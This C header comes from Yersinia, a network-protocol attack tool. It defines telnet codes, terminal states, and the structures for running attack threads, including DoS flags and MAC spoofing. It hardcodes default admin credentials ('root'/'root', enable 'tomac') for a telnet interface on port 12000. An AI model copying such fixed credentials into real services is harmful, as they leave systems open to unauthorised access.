/* terminal-defs.h * Definitions for lot of things. It must be changed!! :( * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __TERMINAL_DEFS_H__ #define __TERMINAL_DEFS_H__ #include <pcap.h> #include "protocols.h" #include "thread-util.h" #include "dlist.h" #ifdef HAVE_GTK #include <gtk/gtk.h> #endif #define SIZE_ARRAY(x) ( (sizeof(x))/(sizeof(x[0])) ) #define LICENSE "Yersinia\ \nBy David Barroso <[email protected]> and Alfredo Andres <[email protected]>\ \nCopyright 2005-2017 Alfredo Andres and David Barroso \ \n\nThis program is free software; you can redistribute it and/or \ \nmodify it under the terms of the GNU General Public License \ \nas published by the Free Software Foundation; either version 2 \ \nof the License, or (at your option) any later version. \ \n\nThis program is distributed in the hope that it will be useful, \ \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \ \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \ \nGNU General Public License for more details. \ \n\nYou should have received a copy of the GNU General Public License \ \nalong with this program; if not, write to the Free Software \ \nFoundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA." /* Keys bindings...*/ #define ESC1 27 #define ESC2 91 #define ESC3 50 #define TKEY_INIT 49 #define TKEY_SUPR 51 #define TKEY_END 52 #define TKEY_UP 65 #define TKEY_DOWN 66 #define TKEY_RIGHT 67 #define TKEY_LEFT 68 #define INSERT 126 #define BACKSPACE 127 #define BACKSPACE_WIN 8 #define CTRL_C 3 #define CTRL_D 4 #define CTRL_L 12 #define CTRL_U 21 #define DEL 8 #define BEL 7 #define SPACE 32 #define DEL_BACK "\x08 \x08" #define CLEAR_SCREEN "\033[H\033[J" /* Telnet commands... */ #define COM_SE 240 #define COM_NOP 241 #define COM_DM 242 #define COM_BRK 243 #define COM_IP 244 #define COM_AO 245 #define COM_AYT 246 #define COM_EC 247 #define COM_EL 248 #define COM_GA 249 #define COM_SB 250 #define COM_WILL 251 #define COM_WONT 252 #define COM_DO 253 #define COM_DONT 254 #define COM_IAC 0xFF /* Telnet Options... */ #define OPT_ECHO 1 #define OPT_SGAHEAD 3 #define OPT_STATUS 5 #define OPT_TMARK 6 #define OPT_TTYPE 24 #define OPT_WSIZE 31 #define OPT_TSPEED 32 #define OPT_RFLOW 33 #define OPT_LMODE 34 #define OPT_ENVIRON 36 #define VTY_MORE "\r\n--More--\r" #define KILL_THREAD 1 #define NOKILL_THREAD 0 #define MAX_HISTORY 4 #define HIST_INDEXING 0 #define HIST_UPDATING 1 #define MAX_LINE 128 #define MAX_COMMAND 48 #define MAX_USERNAME MAX_COMMAND #define MAX_PASSWORD 8 #define MAX_FAILS 3 #define MAX_VTY 5 #define MAX_TTY 2 #define MAX_CON 1 #define MAX_TERMS (MAX_VTY + MAX_TTY + MAX_CON) #define MIN_TERM_WIDTH 10 #define MID_TERM_WIDTH 128 #define MAX_TERM_WIDTH 500 #define MIN_TERM_HEIGHT 5 #define MID_TERM_HEIGHT 48 #define MAX_TERM_HEIGHT 500 #define VTY_USER "root" #define VTY_PASS "root" #define VTY_ENABLE "tomac" #define VTY_PORT 12000 #define TTY_TIMEOUT 500 #define LOGIN_TIMEOUT 20 #define WELCOME "\r\nWelcome to "PACKAGE" version "VERSION".\r\nCopyright 2004-2007 Slay & Tomac.\r\n\r\n" #define VTY_TIMEOUT_BANNER "\r\nVty connection is timed out!!\r\n\r\n" #define VTY_FAILED "Authentication failed!!\r\n" #define VTY_GO_OUT "\r\nToo many attempts!!\r\n\r\n" /* Terminal types...*/ #define TERM_CON 0 #define TERM_TTY 1 #define TERM_VTY 2 #define TERM_NOTYPE 3 /* Terminal states...*/ #define LOGIN_STATE 0 #define PASSWORD_STATE 1 #define NORMAL_STATE 2 #define ENABLE_STATE 3 #define PARAMS_STATE 4 #define INTERFACE_STATE 5 /* Ncurses field position */ #define FIELD_FIRST 0 #define FIELD_LAST 1 #define FIELD_NORMAL 2 #define ALL_ATTACK_THREADS 0 #define MAX_THREAD_ATTACK 5 #define MAX_TLV 20 #define MAX_VALUE_LENGTH 20 #define MAX_STRING_SIZE 64 #define TLV_DELETE 0 #define TLV_ADD 1 /* taken from tcpdump print-ascii.c * http://www.tcpdump.org */ #define ASCII_LINELENGTH 300 #define HEXDUMP_BYTES_PER_LINE 16 #define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2) #define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */ #define HEXDUMP_HEXSTUFF_PER_LINE \ (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE) #define DOS 1 #define NONDOS 0 #define SINGLE 0 #define CONTINOUS 1 #define MAX_WORDS 10 struct words_array { u_int16_t nwords; /* How many words? */ u_int16_t indx; /* Last treated word */ char *word[MAX_WORDS+1]; }; struct attacks { u_int8_t up; /* active or not */ THREAD attack_th; THREAD helper_th; u_int16_t attack; /* attack number */ list_t *used_ints; /* interfaces used */ u_int8_t mac_spoofing; void *data; /* packet */ void *params; /* Parameters */ u_int8_t nparams; /* How many params */ }; struct attack_param { void *value; /* Value */ char *desc; /* Description */ u_int16_t size; /* Size */ u_int8_t type; /* Type */ u_int16_t size_print; /* Printable size */ char *print; /* Printable */ }; struct _attack_definition { int16_t v; /* value */ char *desc; /* descr */ int8_t type; /* DoS attack? */ int8_t single; /* Is only one packet or is a continous attack? */ void (*attack_th_launch)(void *); /* Protocol attack callback */ const struct attack_param *param; /* Attack parameters */ u_int8_t nparams; /* How many parameters */ }; struct pcap_file { char *name; int iflink; pcap_t *pd; pcap_dumper_t *pdumper; pthread_mutex_t mutex; }; struct protocol { u_int16_t proto; /* Proto id */ char name[MAX_PROTO_NAME+1]; /* Proto name */ struct attacks attacks[MAX_THREAD_ATTACK]; /* Attacking threads */ void *tmp_data; /* temporal packet struct */ void **commands_param; /* struct for network interface and protocol fields */ struct pcap_file pcap_file; /* Pcap file per protocol */ }; struct telnet_option { u_int8_t code; char *name; u_int8_t negotiate; }; struct term_vty { int sock; /* Socket in use (if VTY) */ char *history[MAX_HISTORY]; /* Command history */ u_int16_t index_history; /* Command history index */ void *buffer_tx; /* What to send to client */ u_int16_t buffer_tx_len; /* Size of client buffer */ void *more_tx; /* Use it on more mode */ u_int16_t more_tx_len; /* Size of more */ char buf_command[MAX_COMMAND+1]; /* The command */ int8_t repeat_command; /* Repeat last command */ u_int16_t command_len; /* Command Size */ u_int16_t command_cursor; /* Where is the cursor */ u_int8_t login_fails; /* Failed login tries */ int8_t clearmode; /* Terminal in clear mode */ int8_t escmode; /* Terminal in Escape mode */ int8_t insertmode; /* Terminal in INSERT mode */ int8_t moremode; /* Terminal in More mode */ u_int16_t height; /* Telnet Terminal Height */ u_int16_t width; /* Telnet Terminal Width */ u_int8_t term_size[4]; /* Terminal temporary size */ u_int8_t term_size_index; int8_t iacmode; /* Telnet Interpret As Command mode */ int8_t sbmode; /* Telnet Suboption Begin mode */ int8_t nwsmode; /* Telnet Negotiating Window size */ int8_t othermode; /* Telnet other mode */ int8_t authing; /* We are authenticating */ u_int8_t substate; /* Needed for attack params */ u_int8_t nparams; /* How many params */ u_int8_t attack_proto; u_int8_t attack_index; struct attack_param *attack_param; /* Attack params */ }; struct filter { char *expression; u_int32_t begin; u_int32_t end; struct filter *next; }; struct term_tty { struct termios *term; int8_t daemonize; int8_t debug; int8_t interactive; int8_t gtk; int16_t attack; FILE *log_file; char config_file[FILENAME_MAX+1]; int8_t mac_spoofing; int8_t splash; char username[MAX_USERNAME+1]; char password[MAX_PASSWORD+1]; char e_password[MAX_PASSWORD+1]; u_int16_t port; struct filter *ip_filter; #ifdef HAVE_GTK GtkTextBuffer *buffer_log; #endif }; struct term_console { #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) int8_t need_resize; #endif }; struct term_node { u_int8_t up; /* Terminal slot is in use? */ u_int8_t type; /* Terminal type (CONSOLE, TTY, VTY) */ u_int16_t number; /* Terminal number */ u_int8_t state; /* Terminal state */ u_int32_t timeout; /* Timeout */ char username[MAX_USERNAME+1]; /* Username on terminal */ char since[26+1]; /* User is logged in since... */ char from_ip[15+1]; /* IP user is connected from */ u_int16_t from_port; /* Port user is connected from */ THREAD thread; /* Thread owner */ struct pcap_file pcap_file; /* Pcap file for ALL protocols */ list_t *used_ints; struct protocol protocol[MAX_PROTOCOLS]; u_int8_t mac_spoofing; void *specific; }; #define INITIAL 0 #define RUNNING 1 #define STOPPED 2 struct terminals { struct term_node list[MAX_TERMS]; pthread_mutex_t mutex; #ifndef HAVE_RAND_R pthread_mutex_t mutex_rand; #endif u_int8_t work_state; THREAD uptime_th; THREAD admin_listen_th; THREAD pcap_listen_th; #ifdef HAS_CURSES THREAD gui_th; #endif #ifdef HAVE_GTK THREAD gui_gtk_th; #endif }; struct term_types { char *name; struct term_node *list; u_int16_t max; }; struct term_states { char *name; char *prompt2; char *prompt_authing; int8_t key_able; int8_t key_cursor; int8_t key_help; int8_t do_echo; u_int32_t timeout; }; struct tlv_options { u_int16_t type; u_int16_t length; u_int8_t value[MAX_VALUE_LENGTH]; }; #endif